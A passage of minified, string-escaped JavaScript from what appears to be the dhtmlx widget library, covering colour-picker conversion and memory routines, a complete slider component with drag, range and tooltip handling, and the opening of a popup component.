a=this.colorAIP.rgb2hex({r:Math.round(255*h.r),g:Math.round(255*h.g),b:Math.round(255*h.b)});l.style.filter=\"progid:DXImageTransform.Microsoft.gradient(startColorstr='\"+a+\"', endColorstr='\"+c+\"', GradientType=0)\"}else{g=[Math.round(255*g.r),Math.round(255*g.g),Math.round(255*g.b)];h=[Math.round(255*h.r),Math.round(255*h.g),Math.round(255*h.b)];this._controllerNodes.contrastArea.style.backgroundImage=\"linear-gradient(to top, rgb(\"+g.join(\",\")+\"), rgb(\"+h.join(\",\")+\"))\"}};dhtmlXColorPicker.prototype._refreshLines=function(){this._controllerNodes.v_line.style.left=this.conf.x+\"px\";this._controllerNodes.h_line.style.top=this.conf.y+\"px\"};dhtmlXColorPicker.prototype._refreshContrastLine=function(){this._controllerNodes.contrast_line.style.top=this.conf.c+\"px\"};dhtmlXColorPicker.prototype._getOffsetPosition=function(h,a){var c={x:NaN,y:NaN},g=h.target||h.srcElement;if(g==a){c.x=(h.offsetX!=undefined)?h.offsetX:h.layerX;c.y=(h.offsetY!=undefined)?h.offsetY:h.layerY}else{if(g==this._controllerNodes.v_line){c.y=(h.offsetY!=undefined)?h.offsetY:h.layerY}else{c.x=(h.offsetX!=undefined)?h.offsetX:h.layerX}}return c};dhtmlXColorPicker.prototype.colorAIP={hex2rgb:function(c){var a=c.match(/^(#)([\\da-f]{2})([\\da-f]{2})([\\da-f]{2})$/i);if(a!=null){return{r:parseInt(\"0x\"+a[2]),g:parseInt(\"0x\"+a[3]),b:parseInt(\"0x\"+a[4])}}else{return null}},rgb2hex:function(h){var e=parseInt(h.r),c=parseInt(h.g),a=parseInt(h.b);e=e||0,c=c||0,a=a||0;return\"#\"+((e)?((e<16)?\"0\"+e.toString(16):e.toString(16)):\"00\")+((c)?((c<16)?\"0\"+c.toString(16):c.toString(16)):\"00\")+((a)?((a<16)?\"0\"+a.toString(16):a.toString(16)):\"00\")},rgb2hsl:function(o,n,e){var m,l,c;var a=Math.max(o,n,e),h=Math.min(o,n,e);c=0.5*(a+h);if(a==h){m=0}else{if(a==o){m=60*(n-e)/(a-h);if(n<e){m+=360}}else{if(a==n){m=60*(e-o)/(a-h)+120}else{m=60*(o-n)/(a-h)+240}}}if(c==0||a==h){l=0}else{if(c<=0.5){l=0.5*(a-h)/c}else{l=0.5*(a-h)/(1-c)}}return{h:m,s:l,l:c}},hsl2rgb:function(o,e,m){var h,l,n;var c=[],a=[];if(m<=0.5){h=m*(1+e)}else{h=m+e-(m*e)}l=2*m-h;n=o/360;c.push(n+1/3);c.push(n);c.push(n-1/3);for(var g=0;g<3;g++){if(c[g]<0){c[g]+=1}else{if(c[g]>1){c[g]-=1}}if(c[g]<1/6){a.push(l+(h-l)*6*c[g])}else{if(c[g]<0.5){a.push(h)}else{if(c[g]<2/3){a.push(l+(h-l)*(2/3-c[g])*6)}else{a.push(l)}}}}return{r:a[0],g:a[1],b:a[2]}}};dhtmlXColorPicker.prototype._checkIeVersion=function(){var a;var c=navigator.userAgent.match(/(MSIE)\\s(\\d\\.\\d)/i);a=(c&&c[2])?parseInt(c[2]):null;return a};dhtmlXColorPicker.prototype.setCustomColors=function(){if(this.memory==null){this.initMemoryColors();this.conf.customColors=true}var g,e,m,c,h,a;e=arguments.length;for(g=0;g<e;g++){if(arguments[g] instanceof Array){m=this._rgb2value(arguments[g][0],arguments[g][1],arguments[g][2]);this.memory.setValue(m,null,false);continue}else{if(typeof(arguments[g])==\"string\"){c=arguments[g].match(/^rgb\\((\\d{1,3})\\,(\\d{1,3})\\,(\\d{1,3})\\)$/i);if(c instanceof Array){m=this._rgb2value(c[1],c[2],c[3]);this.memory.setValue(m,null,false);continue}c=arguments[g].match(/(#[\\da-f]{6})/ig);if(c instanceof Array){a=c.length;for(h=0;h<a;h++){m=this._hex2value(c[h]);this.memory.setValue(m,null,false)}}}}}};dhtmlXColorPicker.prototype.getCustomColors=function(){var c=[];if(this.memory!=null&&this.conf.customColors==true){for(var e=0;e<this.memory.controllers.length;e++){var a=this.memory.controllers[e].value;c.push(this.colorAIP.rgb2hex({r:a.red,g:a.green,b:a.blue}))}}return c};dhtmlXColorPicker.prototype._rgb2value=function(h,e,a){var c=this.colorAIP.rgb2hsl(h/255,e/255,a/255);return{red:h,green:e,blue:a,hue:Math.round(c.h),sat:Math.round(c.s*100),lum:Math.round(c.l*100)}};dhtmlXColorPicker.prototype._hex2value=function(e){var c,a;c=this.colorAIP.hex2rgb(e);a=this.colorAIP.rgb2hsl(c.r/255,c.g/255,c.b/255);return{red:c.r,green:c.g,blue:c.b,hue:Math.round(a.h),sat:Math.round(a.s*100),lum:Math.round(a.l*100)}};dhtmlXColorPicker.prototype.showMemory=function(){if(this.memory==null){this.initMemoryColors()}if(!this._globalNode.className.match(/dhxcp_add_memory/)){this._globalNode.className+=\" dhxcp_add_memory\"}this.conf.customColors=true};dhtmlXColorPicker.prototype.hideMemory=function(){if(this.memory!=null){this._globalNode.className=this._globalNode.className.replace(/\\sdhxcp_add_memory/,\"\")}this.conf.customColors=false};dhtmlXColorPicker.prototype.setSkin=function(h){h=h.toLowerCase();var e,c=-1,a,g=\"dhtmlxcp\";e=this.base.className.match(/\\S\\w+/ig);if(e instanceof Array){for(a in this._skinCollection){if(c==-1){c=this._indexOf(e,g+\"_\"+a)}else{break}}c=(c==-1)?e.length:c}else{e=[];c=0}e[c]=g+\"_\"+h;this.base.className=e.join(\" \");this.skin=h};dhtmlXColorPicker.prototype.hideOnSelect=function(a){a=dhx4.s2b(a);this.conf.hideOnSelect=a};dhtmlXColorPicker.prototype._indexOf=function(a,g){var e,c,h=-1;c=a.length;for(e=c;e>=0;e--){if(a[e]==g){h=e;break}}return h};dhtmlXColorPicker.prototype.destructMemory=function(){if(this.memory==null){return}this.hideMemory();var a=this._controllerNodes.memory_block.childNodes[0].firstChild;this._labelNodes.btnAddColor=null;if(typeof(window.addEventListener)==\"function\"){a.removeEventListener(\"click\",this.saveColor,false)}else{a.detachEvent(\"onclick\",this.saveColor)}this.memory.remove();this._controllerNodes.memory_block.innerHTML=\"\";this.memory=null};dhtmlXColorPicker.prototype.Memory=function(e){var c=this,a=null,g={red:255,blue:255,green:255,hue:0,sat:0,lum:100};this.select=function(){var l=(this!=window)?this:event.srcElement;var h=h||l.dhxpc_memory;if(a!=null){c.unSelect()}a=h;h.domElement.className+=\" dhxcp_memory_el_select\";if(typeof(c.onSelect)==\"function\"){c.onSelect(h)}};this.onSelect=null;this.onSave=null;this._createMemoryController=function(h){var l={domElement:h,value:dhx4._copyObj(g)};h.dhxpc_memory=l;if(typeof(window.addEventListener)==\"function\"){h.addEventListener(\"click\",c.select,false)}else{h.attachEvent(\"onclick\",c.select)}return l};this._findMemoryControllers=function(q){var n=q.getElementsByTagName(\"a\"),m,h,o=[];h=n.length;for(m=0;m<h;m++){o.push(this._createMemoryController(n[m]))}return o};this.controllers=this._findMemoryControllers(e);this.unSelect=function(){if(a){a.domElement.className=a.domElement.className.replace(/\\s.*$/i,\"\")}a=null};this.setActiveNext=function(){var m=null,h;if(a==null){a=this.controllers[0]}else{m=this.getIndex(a);h=this.controllers.length;this.unSelect();a=(m+1<h)?this.controllers[m+1]:this.controllers[0]}a.domElement.className+=\" dhxcp_memory_el_next\";return a};this.setValue=function(l,h,m){a=h||a;if(a==null){a=this.controllers[0]}a.value.red=l.red;a.value.blue=l.blue;a.value.green=l.green;a.value.hue=l.hue;a.value.sat=l.sat;a.value.lum=l.lum;a.domElement.style.backgroundColor=\"rgb(\"+[l.red,l.green,l.blue].join(\", \")+\")\";this.setActiveNext();if((m!=false)&&(typeof(this.onSave)==\"function\")){this.onSave(l)}};this.clean=function(){var h=this.controllers.length,n;for(var m=0;m<h;m++){n=this.controllers[m];n.value=dhx4._copyObj(g);n.domElement.style.backgroundColor=\"rgb(\"+[g.red,g.green,g.blue].join(\", \")+\")\"}this.unSelect();a=this.controllers[0]};this.getIndex=function(n){var m,h,o=-1;h=this.controllers.length;for(m=0;m<h;m++){if(this.controllers[m]==n){o=m;break}}return o};this.remove=function(){var m,h;h=this.controllers.length;for(m=0;m<h;m++){if(typeof(window.addEventListener)==\"function\"){this.controllers[m].domElement.removeEventListener(\"click\",this.select,false)}else{this.controllers[m].domElement.detachEvent(\"onclick\",this.select)}delete this.controllers[m].domElement.dhxpc_memory}delete this.onSelect;delete this.controllers;delete this.onSave}};if(window.dhx4.isIE6){dhtmlXColorPicker.prototype._cpInitFRM=function(){var a;if(!this._controllerNodes.fr_cover){a=document.createElement(\"IFRAME\");a.className=\"dhxcp_frm\";a.border=0;a.frameBorder=0;this._controllerNodes.fr_cover=a}if(!this.base._dhx_remove){this.base.insertBefore(a,this._globalNode)}}}function dhtmlXSlider(c){var a=this;this.conf={size:null,skin:null,vertical:false,min:0,max:99,value:0,step:1,decimals:0,margin:2,border:1,inverse:false,disabled:false,tooltip:false,visible:true,linkTo:null,range:false,bg:null,bg_mode:\"left\"};this._attachedNode={};this._movingInitialValues=null;this.base=null;if(arguments.length>1){return new dhtmlXSlider(this._renderArgumets(arguments))}else{if(typeof(c)==\"string\"||(typeof(c)==\"object\"&&c.tagName)){return new dhtmlXSlider({parent:c})}}if(typeof(c.parent)==\"string\"){this.base=document.getElementById(c.parent)}else{this.base=c.parent}this._mergeConfig(this._readAttFormNode(this.base));this._mergeConfig(c);if(this.conf.bg==null){this.conf.bg=(this.conf.range==true)}if(this.conf.range==true){if(!(this.conf.value instanceof Array)){this.conf.value=[this.conf.value]}if(this.conf.value.length<2){this.conf.value.push(this.conf.value[0])}if(!(this.conf.linkTo instanceof Array)){this.conf.linkTo=[this.conf.linkTo]}}this._detectDecimals();if(this.conf.size==null||typeof(this.conf.size)==\"undefined\"){if(this.conf.vertical){this.conf.size=this.base.offsetHeight}else{this.conf.size=this.base.offsetWidth}}var e=this.conf.skin||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxslider\")||\"dhx_skyblue\";this.setSkin(e);this.base.innerHTML=\"<div class='dhxsl_container'><div class='dhxsl_track'>\"+(this.conf.bg==true?\"<div class='dhxsl_track_bg'></div>\":\"\")+\"</div><div class='dhxsl_runner'></div>\"+(this.conf.range==true?\"<div class='dhxsl_runner'></div>\":\"\")+\"</div>\";this._nodes={cont:this.base.firstChild,track:this.base.firstChild.firstChild,runner:this.base.firstChild.childNodes[1],runner2:this.base.firstChild.childNodes[2]};this._nodes.cont.onmousedown=this._nodes.track.onmousedown=this._nodes.cont.onselectstart=this._nodes.track.onselectstart=function(g){g=g||event;if(typeof(g.preventDefault)==\"function\"){g.preventDefault()}else{g.returnValue=false}return false};this._r_actv=null;if(this.conf.range==true){this.conf.value=this._normalizeRange(this.conf.value,this.conf.min,this.conf.max)}else{this.conf.value=this._normalize(this.conf.value,this.conf.min,this.conf.max)}this._setOrient(this.conf.vertical);this.setSize(this.conf.size);this._initMover=function(l,g){if(a.conf.disabled){return}l=l||event;if(typeof(l.preventDefault)==\"function\"){l.preventDefault()}if(g!=null){a._r_actv=a._nodes[g==0?\"runner\":\"runner2\"]}else{a._r_actv=l.target||l.srcElement;if(a._r_actv.className.indexOf(\"dhxsl_runner\")==-1){a._r_actv=a._nodes.runner}}a._r_actv.className=\"dhxsl_runner dhxsl_runner_actv\";var h=(l.type==\"mousedown\"?\"client\":\"page\")+(a.conf.vertical?\"Y\":\"X\");a._movingInitialValues={};if(a.conf.range==true){a._movingInitialValues.index=(a._r_actv==a._nodes.runner?0:1);a._movingInitialValues.value=a.conf.value[a._movingInitialValues.index]}else{a._movingInitialValues.value=a.conf.value}a._movingInitialValues.coord=(typeof(l[h])!=\"undefined\"?l[h]:l.touches[0][h]);if(a.conf.disabled==false){if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"mousemove\",a._move,false);window.addEventListener(\"mouseup\",a._cleanMove,false);window.addEventListener(\"touchmove\",a._move,false);window.addEventListener(\"touchend\",a._cleanMove,false)}else{document.body.attachEvent(\"onmousemove\",a._move);document.body.attachEvent(\"onmouseup\",a._cleanMove)}}a.callEvent(\"onMouseDown\",[a._r_actv==a._nodes.runner?0:1]);return false};this._move=function(q){if(a.conf.disabled){return}q=q||event;if(typeof(q.preventDefault)==\"function\"){q.preventDefault()}var n=(q.type==\"mousemove\"?\"client\":\"page\")+(a.conf.vertical?\"Y\":\"X\");var o=(a.conf.vertical)?a._r_actv.offsetHeight:a._r_actv.offsetWidth;var l=a.conf.max-a.conf.min;var h=(typeof(q[n])!=\"undefined\"?q[n]:q.touches[0][n]);var m=a._movingInitialValues.value+(h-a._movingInitialValues.coord)*l/(a.conf.size-o)*(a.conf.inverse?-1:1);if(a.conf.range==true){var g=[a.conf.value[0],a.conf.value[1]];if(a._movingInitialValues.index==0){g[0]=Math.min(g[1],m)}else{if(a._movingInitialValues.index==1){g[1]=Math.max(g[0],m)}}a.setValue(g,true)}else{a.setValue(m,true)}};this._cleanMove=function(g){if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"mousemove\",a._move,false);window.removeEventListener(\"mouseup\",a._cleanMove,false);window.removeEventListener(\"touchmove\",a._move,false);window.removeEventListener(\"touchend\",a._cleanMove,false)}else{document.body.detachEvent(\"onmousemove\",a._move);document.body.detachEvent(\"onmouseup\",a._cleanMove)}a._movingInitialValues=null;a._r_actv.className=a._r_actv.className.replace(/\\s{0,}dhxsl_runner_actv/gi,\"\");a.callEvent(\"onSlideEnd\",[a.conf.value]);a.callEvent(\"onMouseUp\",[a._r_actv==a._nodes.runner?0:1]);a._r_actv=null};this._doOnSetValue=function(r){if(a.conf.disabled){return}if(a._movingInitialValues!=null){return false}r=r||event;if(typeof(r.preventDefault)==\"function\"){r.preventDefault()}var q=0;var m=r.target||r.srcElement;if(m.className.match(/dhxsl_track_bg/)!=null){q=parseInt(m.style[a.conf.vertical?\"top\":\"left\"])}var o=(a.conf.vertical?(r.offsetY||r.layerY):(r.offsetX||r.layerX))+q;var n=(a.conf.vertical?a._nodes.runner.offsetHeight:a._nodes.runner.offsetWidth)+q;var g=a.conf.max-a.conf.min;var h=null;var l=null;if(a.conf.inverse==true){l=a.conf.max-(o*g/(a.conf.size))}else{l=(o*g/(a.conf.size)+a.conf.min)}if(a.conf.range==true){h=(Math.abs(a.conf.value[0]-l)<=Math.abs(a.conf.value[1]-l)?0:1);l=[h==0?l:a.conf.value[0],h==1?l:a.conf.value[1]]}a.conf.init_index=h;a.setValue(l,true);a.conf.init_index=null;if(a._movingInitialValues==null){a._initMover(r,h)}return false};this._doOnChangeInput=function(h){h=h||event;var g=h.target||h.srcElement;a.setValue(g.value)};this._doOnKeyDown=function(h){h=h||event;var g=h.target||h.srcElement;if(h.keyCode==13){a.setValue(g.value)}};this._attachEvents(this._nodes);this.unload=function(){dhx4._eventable(this,\"clear\");this._detachNode();this._detachEvents(this._nodes);this.base.removeChild(this._nodes.cont);this._nodes.cont.onmousedown=this._nodes.track.onmousedown=this._nodes.cont.onselectstart=this._nodes.track.onselectstart=null;delete this._nodes.cont;delete this._nodes.track;delete this._nodes.max;delete this._nodes.min;delete this._nodes.runner;if(this._nodes.runner2){delete this._nodes.runner2}if(/\\s?dhtmlxslider_\\S*/.test(this.base.className)){this.base.className=this.base.className.replace(/\\s?dhtmlxslider_\\S*/,\"\")}for(var g in this){this[g]=null}a=null};dhx4._eventable(this);if(this.conf.disabled){this.disable()}if(this.conf.tooltip){this.enableTooltip()}if(!this.conf.visible){this.hide()}if(this.conf.linkTo){this.linkTo(this.conf.linkTo)}return this}dhtmlXSlider.prototype._setOrient=function(a){a=a||false;if(/\\s?dhxsl_cont_hr/i.test(this._nodes.cont.className)){this._nodes.cont.className=this._nodes.cont.className.replace(/\\s?dhxsl_cont_hr/i,\"\")}if(/\\s?dhxsl_cont_vr/i.test(this._nodes.cont.className)){this._nodes.cont.className=this._nodes.cont.className.replace(/\\s?dhxsl_cont_vr/i,\"\")}if(a){this._nodes.cont.className+=\" dhxsl_cont_vr\"}else{this._nodes.cont.className+=\" dhxsl_cont_hr\"}};dhtmlXSlider.prototype._attachEvents=function(a){if(typeof(window.addEventListener)==\"function\"){a.runner.addEventListener(\"mousedown\",this._initMover,false);a.runner.addEventListener(\"touchstart\",this._initMover,false);a.cont.addEventListener(\"mousedown\",this._doOnSetValue,false);a.cont.addEventListener(\"touchstart\",this._doOnSetValue,false);if(a.runner2){a.runner2.addEventListener(\"mousedown\",this._initMover,false);a.runner2.addEventListener(\"touchstart\",this._initMover,false)}}else{a.runner.attachEvent(\"onmousedown\",this._initMover);a.cont.attachEvent(\"onmousedown\",this._doOnSetValue);if(a.runner2){a.runner2.attachEvent(\"onmousedown\",this._initMover)}}};dhtmlXSlider.prototype._detachEvents=function(a){if(typeof(window.addEventListener)==\"function\"){a.runner.removeEventListener(\"mousedown\",this._initMover,false);a.runner.removeEventListener(\"touchstart\",this._initMover,false);a.cont.removeEventListener(\"mousedown\",this._doOnSetValue,false);a.cont.removeEventListener(\"touchstart\",this._doOnSetValue,false);if(a.runner2){a.runner2.removeEventListener(\"mousedown\",this._initMover,false);a.runner2.removeEventListener(\"touchstart\",this._initMover,false)}}else{a.runner.detachEvent(\"onmousedown\",this._initMover);a.cont.detachEvent(\"onmousedown\",this._doOnSetValue);if(a.runner2){a.runner2.detachEvent(\"onmousedown\",this._initMover)}}};dhtmlXSlider.prototype._mergeConfig=function(c){for(var a in c){switch(a.toLowerCase()){case\"min\":case\"max\":case\"size\":case\"step\":case\"value\":case\"inverse\":this.conf[a]=c[a];break;case\"tooltip\":case\"visible\":case\"vertical\":case\"disabled\":case\"range\":case\"bg\":this.conf[a]=dhx4.s2b(c[a]);break;case\"bg_mode\":this.conf[a]=({left:\"left\",right:\"right\"}[c[a]])||\"left\";break;case\"parent\":continue;break;default:this.conf[a]=c[a]}}};dhtmlXSlider.prototype._readAttFormNode=function(g){var m=g.attributes,a=m.length,e,h={},c;for(e=0;e<a;e++){c=m[e];switch(c.name.toLowerCase()){case\"size\":case\"min\":case\"max\":case\"value\":case\"step\":h[c.name]=Number(c.value);break;case\"skin\":h[c.name]=c.value;break;case\"vertical\":case\"disabled\":case\"visible\":case\"range\":case\"bg\":h[c.name]=dhx4.s2b(c.value);break;case\"linkto\":h[c.name]=c.value;break;case\"tooltip\":h[c.name]=dhx4.s2b(c.value);break;case\"bg_mode\":h[c.name]=({left:\"left\",right:\"right\"}[c.value])||\"left\";break}}return h};dhtmlXSlider.prototype._renderArgumets=function(a){var g={},e,c;c=a.length;for(e=0;e<c;e++){switch(e){case 0:g.parent=a[e];break;case 1:g.size=a[e];break;case 2:g.skin=a[e];break;case 3:g.vertical=a[e];break;case 4:g.min=a[e];break;case 5:g.max=a[e];break;case 6:g.value=a[e];break;case 7:g.step=a[e];break}}return g};dhtmlXSlider.prototype._skinCollection={dhx_skyblue:true,dhx_web:true,dhx_terrace:true};dhtmlXSlider.prototype._indexOf=function(a,g){var e,c,h=-1;c=a.length;for(e=c;e>=0;e--){if(a[e]==g){h=e;break}}return h};dhtmlXSlider.prototype._refreshRunner=function(h){var g=(this.conf.vertical==true?{x:\"top\",y:\"left\",ofs_w:\"offsetHeight\",ofs_h:\"offsetWidth\"}:{x:\"left\",y:\"top\",ofs_w:\"offsetWidth\",ofs_h:\"offsetHeight\"});var a=this._nodes.cont[g.ofs_w]-this._nodes.runner[g.ofs_w];var e=this._nodes.runner;var c=this._nodes.runner2;if(h==null||h==0){var l=this._getCoord(a,(this.conf.value instanceof Array?this.conf.value[0]:this.conf.value));e.style[g.x]=l+this.conf.border+\"px\";e.style[g.y]=Math.round((this._nodes.cont[g.ofs_h]-e[g.ofs_h])/2)+\"px\"}if(this.conf.range==true&&(h==null||h==1)){var l=this._getCoord(a,this.conf.value[1]);c.style[g.x]=l+this.conf.border+\"px\";c.style[g.y]=Math.round((this._nodes.cont[g.ofs_h]-e[g.ofs_h])/2)+\"px\"}if(this.conf.range==true){if(e.style[g.x]==c.style[g.x]&&this.conf.value[1]==this.conf.max){if(e.style.zIndex!=2){e.style.zIndex=2}}else{if(e.style.zIndex==2){e.style.zIndex=1}}}e=c=null;this._refreshBG()};dhtmlXSlider.prototype._setValueByCoord=function(g){var a=dhx4.absLeft(this._nodes.cont),h=dhx4.absTop(this._nodes.cont),e,c;if(this.conf.vertical){c=(g.y-h-this._nodes.runner.offsetHeight/2)/(this._nodes.cont.offsetHeight-this._nodes.runner.offsetHeight)}else{c=(g.x-a-this._nodes.runner.offsetWidth/2)/(this._nodes.cont.offsetWidth-this._nodes.runner.offsetWidth)}e=(this.conf.max-this.conf.min)*c+this.conf.min;this.setValue(e,true)};dhtmlXSlider.prototype._getCoord=function(a,g){var e=(this.conf.inverse?this._inverseValue(g):g);var c=(e-this.conf.min)/(this.conf.max-this.conf.min);return Math.round(a*c)};dhtmlXSlider.prototype._normalize=function(g,e,a){g=Number(g);g=Math.round(g/this.conf.step)*this.conf.step;var c=Math.pow(10,this.conf.decimals);g=Math.round(g*c)/c;g=Math.max(e,Math.min(a,g));return g};dhtmlXSlider.prototype._normalizeRange=function(e,c,a){if(e[1]<e[0]){e[1]=e[0]}e[0]=this._normalize(e[0],c,Math.min(a,e[1]));e[1]=this._normalize(e[1],Math.max(c,e[0]),a);return e};dhtmlXSlider.prototype._refreshBG=function(){if(this.conf.bg!=true){return}var g=this._nodes.track.firstChild;var e=this._nodes.runner;var a=e.nextSibling;var c=(this.conf.vertical==true?{x:\"top\",w:\"height\",ofs:\"offsetHeight\"}:{x:\"left\",w:\"width\",ofs:\"offsetWidth\"});if(this.conf.range==true){g.style[c.x]=Math.floor(parseInt(e.style[c.x])+e[c.ofs]/2)+\"px\";g.style[c.w]=Math.max(Math.floor(parseInt(a.style[c.x])+a[c.ofs]/2)-parseInt(g.style[c.x]),0)+\"px\"}else{var h=(this.conf.inverse==true?{left:\"right\",right:\"left\"}[this.conf.bg_mode]:this.conf.bg_mode);g.style[c.x]=(h==\"left\"?\"0\":Math.floor(parseInt(e.style[c.x])+e[c.ofs]/2))+\"px\";g.style[c.w]=(h==\"left\"?Math.floor(parseInt(e.style[c.x])+e[c.ofs]/2):this._nodes.track[c.ofs]-parseInt(g.style[c.x]))+\"px\"}g=e=a=null};dhtmlXSlider.prototype._attachNode=function(e,a){this._detachNode(a);var c=e.tagName.toLowerCase();if(!c){return}this._attachedNode[\"node_\"+a]=e;switch(c){case\"input\":case\"select\":if(typeof(window.addEventListener)==\"function\"){e.addEventListener(\"change\",this._doOnChangeInput,false);e.addEventListener(\"keydown\",this._doOnKeyDown,false)}else{e.attachEvent(\"onchange\",this._doOnChangeInput);e.attachEvent(\"onkeydown\",this._doOnKeyDown)}this._attachedNode.setValue=function(m,g,l){var h=(m instanceof Array?m[l||0]:m);this[\"node_\"+(l||0)].value=dhtmlXSlider.prototype._atatchedNodeFixDec(h,g)};break;default:this._attachedNode.setValue=function(m,g,l){var h=(m instanceof Array?m[l||0]:m);this[\"node_\"+(l||0)].innerHTML=dhtmlXSlider.prototype._atatchedNodeFixDec(h,g)}}this._attachedNode.setValue(this.conf.value,this.conf.decimals,a)};dhtmlXSlider.prototype._detachNode=function(a){var e=this._attachedNode[\"node_\"+a];if(!e){return}var c=e.tagName;switch(c){case\"input\":case\"select\":if(typeof(window.addEventListener)==\"function\"){e.removeEventListener(\"change\",this._doOnChangeInput,false);e.removeEventListener(\"keydown\",this._doOnChangeInput,false)}else{e.detachEvent(\"change\",this._doOnChangeInput);e.detachEvent(\"keydown\",this._doOnChangeInput)}break}delete this._attachedNode[\"node_\"+a];delete this._attachedNode.setValue;e=null};dhtmlXSlider.prototype._atatchedNodeFixDec=function(g,a){g=String(g);if(a>0){var c=g.match(/\\.\\d{1,}$/);if(c!=null){a=Math.max(a-c[0].length+1)}g+=(g.indexOf(\".\")<0?\".\":\"\");for(var e=0;e<a;e++){g+=\"0\"}}return g};dhtmlXSlider.prototype._detectDecimals=function(){var a=this.conf.step.toString().match(/\\.(\\d*)$/);this.conf.decimals=(a!=null?a[1].length:0)};dhtmlXSlider.prototype.setSize=function(a){if(!isNaN(a)){if(this.conf.vertical){if(this._nodes.cont.style.width){delete this._nodes.cont.style.width}this._nodes.cont.style.height=a-this.conf.margin+\"px\"}else{if(this._nodes.cont.style.height){delete this._nodes.cont.style.height}this._nodes.cont.style.width=a-this.conf.margin+\"px\"}this._refreshRunner()}};dhtmlXSlider.prototype.setSkin=function(h){h=h.toLowerCase();var e,c=-1,a,g=\"dhtmlxslider\";e=this.base.className.match(/\\S\\w+/ig);if(e instanceof Array){for(a in this._skinCollection){if(c==-1){c=this._indexOf(e,g+\"_\"+a)}else{break}}c=(c==-1)?e.length:c}else{e=[];c=0}e[c]=g+\"_\"+h;this.base.className=e.join(\" \");this.conf.skin=h;if(this._nodes){this._refreshRunner()}};dhtmlXSlider.prototype.setValue=function(g,h){h=h||false;var c=null;var e=false;if(this.conf.range==true){if(this._r_actv!=null){c=(this._r_actv==this._nodes.runner?0:1)}g=this._normalizeRange(g,this.conf.min,this.conf.max);e=(this.conf.value[0]!=g[0]||this.conf.value[1]!=g[1])}else{g=this._normalize(g,this.conf.min,this.conf.max);e=(this.conf.value!=g)}if(e=true){this.conf.value=g;this._refreshRunner(c);this._refreshTooltip();if(h){var a=[g,this];if(this.conf.range==true){if(this._r_actv!=null){a.push(this._r_actv==this._nodes.runner?0:1)}else{if(this.conf.init_index!=null){a.push(this.conf.init_index.valueOf())}}}this.callEvent(\"onChange\",a)}}if(typeof(this._attachedNode.setValue)==\"function\"){if(c==null){c=this.conf.init_index}this._attachedNode.setValue(this.conf.value,this.conf.decimals,c)}};dhtmlXSlider.prototype.getValue=function(){if(this.conf.range==true){return[this.conf.value[0].valueOf(),this.conf.value[1].valueOf()]}else{return this.conf.value.valueOf()}};dhtmlXSlider.prototype._inverseValue=function(a){return this.conf.max+this.conf.min-a};dhtmlXSlider.prototype.disable=function(h){h=(h==false)?false:true;var g=null;if(h){for(var c in this._nodes){if(c==\"cont\"){continue}var e=(c==\"runner2\"?\"runner\":c);if(this._nodes[c]!=null){g=new RegExp(\"\\\\s?dhxsl_\"+e+\"_dis\",\"i\");if(!g.test(this._nodes[c].className)){this._nodes[c].className+=\" dhxsl_\"+e+\"_dis\"}}}this.conf.disabled=true}else{this.enable()}};dhtmlXSlider.prototype.enable=function(){var g;for(var c in this._nodes){if(c==\"cont\"){continue}var e=(c==\"runner2\"?\"runner\":c);if(this._nodes[c]!=null){g=new RegExp(\"\\\\s?dhxsl_\"+e+\"_dis\",\"i\");if(g.test(this._nodes[c].className)){this._nodes[c].className=this._nodes[c].className.replace(g,\"\")}}}this.conf.disabled=false};dhtmlXSlider.prototype.isEnabled=function(){return !this.conf.disabled};dhtmlXSlider.prototype.disableTooltip=function(){this._nodes.cont.removeAttribute(\"title\");this.conf.tooltip=false};dhtmlXSlider.prototype.enableTooltip=function(a){if(typeof(a)==\"undefined\"){a=true}else{a=dhx4.s2b(a)}if(a){this.conf.tooltip=true;this._refreshTooltip()}else{this.disableTooltip()}};dhtmlXSlider.prototype.setMax=function(a){if(!isNaN(a)&&this.conf.min<a){this.conf.max=a;this.setValue(this.conf.value)}};dhtmlXSlider.prototype.getMax=function(){return this.conf.max};dhtmlXSlider.prototype.setMin=function(a){if(!isNaN(a)&&this.conf.max>a){this.conf.min=a;this.setValue(this.conf.value)}};dhtmlXSlider.prototype.getMin=function(){return this.conf.min};dhtmlXSlider.prototype.setStep=function(a){var c=this.conf.max-this.conf.min;if(!isNaN(a)&&a<c){this.conf.step=a;this._detectDecimals();this.setValue(this.conf.value)}};dhtmlXSlider.prototype.getStep=function(){return this.conf.step};dhtmlXSlider.prototype.show=function(){if(/\\s?dhxsl_hidden/i.test(this._nodes.cont.className)){this._nodes.cont.className=this._nodes.cont.className.replace(/\\s?dhxsl_hidden/i,\"\")}this.conf.visible=true};dhtmlXSlider.prototype.hide=function(){if(!/\\s?dhxsl_hidden/i.test(this._nodes.cont.className)){this._nodes.cont.className+=\" dhxsl_hidden\"}this.conf.visible=false};dhtmlXSlider.prototype.isVisible=function(){return this.conf.visible};dhtmlXSlider.prototype.linkTo=function(a){if(!(a instanceof Array)){a=[a]}for(var c=0;c<a.length&&c<2;c++){if(a[c]!=null){if(typeof(a[c])==\"string\"){a[c]=document.getElementById(a[c])}this._attachNode(a[c],c)}}};dhtmlXSlider.prototype._refreshTooltip=function(){if(this.conf.tooltip==true){if(this.conf.value instanceof Array){this._nodes.cont.title=this.conf.value.join(\", \")}else{this._nodes.cont.title=this.conf.value}}};dhtmlXSlider.prototype.getRunnerIndex=function(){if(this._r_actv==null){return -1}return(this._r_actv==this._nodes.runner?0:1)};function dhtmlXPopup(e){var g=this;this.conf=e||{};e=null;this.mode=(this.conf.mode||\"bottom\");this.conf.zi=window.dhx4.newId();this.conf.context=(this.conf.context==null?true:window.dhx4.s2b(this.conf.context));this.conf.IE6_display_fix=(this.conf.IE6_display_fix==null?false:window.dhx4.s2b(this.conf.IE6_display_fix));this.conf.last_p_click=this.conf.last_body_click=null;this.p=document.createElement(\"DIV\");this.p.style.display=\"none\";this.p.innerHTML=\"<div class='dhx_popup_area\"+(window.dhx4.isIE?\" dhx_popup_area_ie\":\"\")+\"'><table cellspacing='0' cellpadding='0' border='0' class='dhx_popup_table'><tbody></tbody></table></div><div class='dhx_popup_arrow dhx_popup_arrow_\"+this.mode+\"'></div>\";document.body.appendChild(this.p);this.p.oncontextmenu=function(a){if(g.conf.context==false){a=a||event;a.returnValue=false;return 